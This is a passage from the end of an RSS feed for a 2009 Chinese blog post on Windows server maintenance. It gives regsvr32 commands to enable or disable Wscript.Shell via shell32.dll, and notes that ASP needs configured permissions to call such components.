regsvr32 %windir%\system32\shell32.dll</p>
<p><strong>4、卸载(关闭)Wscript.Shell</strong><br>
regsvr32 /u %windir%\system32\shell32.dll</p>
<p>平时关闭他们就可以了，不过对于调用Wscript.Shell和shell.application的权限还是满高的，asp调用需要配置权限才可以访问。</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/lookxd/blog/category/%A1%FE%B7%FE%CE%F1%C6%F7%A1%F4%CE%AC%BB%A4%A1%FE">〓服务器◆维护〓</a>&nbsp;<a href="http://hi.baidu.com/lookxd/blog/item/a0f735cb649ae817bf09e646.html#comment">查看评论</a>]]></description>
        <pubDate>2009年03月11日 星期三  上午 09:52</pubDate>
        <category><![CDATA[〓服务器◆维护〓]]></category>
        <author><![CDATA[IT小刀]]></author>
		<guid>http://hi.baidu.com/lookxd/blog/item/a0f735cb649ae817bf09e646.html</guid>
</item>


</channel>
</rss>